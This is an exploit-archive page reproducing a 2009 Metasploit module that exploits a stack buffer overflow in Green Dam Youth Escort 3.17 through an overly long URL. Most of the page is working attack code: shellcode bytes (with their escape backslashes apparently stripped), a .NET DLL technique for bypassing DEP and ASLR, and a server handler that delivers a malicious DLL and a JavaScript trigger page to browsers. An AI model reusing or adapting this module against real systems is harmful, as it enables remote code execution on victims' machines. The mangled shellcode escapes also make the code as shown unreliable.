Green Dam 3.17 URL Processing Buffer Overflow Exploit (meta)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Green Dam 3.17 URL Processing Buffer Overflow Exploit (meta)
# Published : 2009-06-16
# Author : Trancer
# Previous Title : Edraw PDF Viewer Component < 3.2.0.126 ActiveX Insecure Method Vuln
# Next Title : McAfee 3.6.0.608 naPolicyManager.dll ActiveX Arbitrary Data Write Vuln
##
# greendam_url.rb
#
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
#
# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
#  - Internet Explorer 6, Windows XP SP2
#  - Internet Explorer 7, Windows XP SP3
#  - Internet Explorer 7, Windows Vista SP1
# 
# .NET binary is used to bypass DEP and ASLR
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Green Dam URL Processing Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow in Green Dam Youth Escort   
				version 3.17 in the way it handles overly long URLs.
				By setting an overly long URL, an attacker can overrun a buffer and execute 
				arbitrary code. This module uses the .NET DLL memory technique by Alexander 
				Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ], 
			'Version'        => '$Revision:$',
			'References'     => 
				[
					['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],		# Analysis of the Green Dam Censorware System
					['URL', 'http://www.milw0rm.com/exploits/8938'],		# Original exploit by seer[N.N.U]
					['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],	# .NET DLL memory technique
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "x00",
					'Compat'   => 
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500,
					
					# Temporary stub virtualalloc() + memcpy() payload to RWX page
					'PrependEncoder' =>
						"xe8x56x00x00x00x53x55x56x57x8bx6cx24x18x8bx45x3c"+
						"x8bx54x05x78x01xeax8bx4ax18x8bx5ax20x01xebxe3x32"+
						"x49x8bx34x8bx01xeex31xffxfcx31xc0xacx38xe0x74x07"+
						"xc1xcfx0dx01xc7xebxf2x3bx7cx24x14x75xe1x8bx5ax24"+
						"x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01xe8"+
						"xebx02x31xc0x5fx5ex5dx5bxc2x08x00x5ex6ax30x59x64"+
						"x8bx19x8bx5bx0cx8bx5bx1cx8bx1bx8bx5bx08x53x68x54"+
						"xcaxafx91xffxd6x6ax40x5ex56xc1xe6x06x56xc1xe6x08"+
						"x56x6ax00xffxd0x89xc3xebx0dx5ex89xdfxb9xe8x03x00"+
						"x00xfcxf3xa4xffxe3xe8xeexffxffxff"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
				],
			'DisclosureDate' => 'Jun 11 2009',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
	
		ibase = 0x24240000
		vaddr = ibase + 0x2065

		if (request.uri.match(/.dll$/i))

			print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

			return if ((p = regenerate_payload(cli)) == nil)
	
			# First entry points to the table of pointers
			vtable  = [ vaddr + 4 ].pack("V")
			cbase   = ibase + 0x2065 + (256 * 4)

			# Build a function table
			255.times { vtable << [cbase].pack("V") }

			# Append the shellcode
			vtable << p.encoded
			send_response(
				cli, 
				Rex::Text.to_dotnetmem(ibase, vtable), 
				{
					'Content-Type' => 'application/x-msdownload',
					'Connection'   => 'close',
					'Pragma'       => 'no-cache'
				}
			)
			return
		end

		print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")

		j_function	= rand_text_alpha(rand(100)+1)
		j_url		= rand_text_alpha(rand(100)+1)
		j_counter	= rand_text_alpha(rand(30)+2)

		html = %Q|<html>
<head>
<script language="javascript">
	function #{j_function}() {
		var #{j_url}='';
		for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
			#{j_url}+='$';

		window.location=#{j_url}+'.html';
	}	
</script>
</head>
<body onload="#{j_function}()">
	<object classid="#{get_resource + "/generic-" + Time.now.to_i.to_s + ".dll"}#GenericControl">
	<object>
</body>
</html>
		|

		# Transmit the compressed response to the client
		send_response(cli, html, { 'Content-Type' => 'text/html' })
		
		# Handle the payload
		handler(cli)
	end
end

# www.Syue.com [2009-06-16]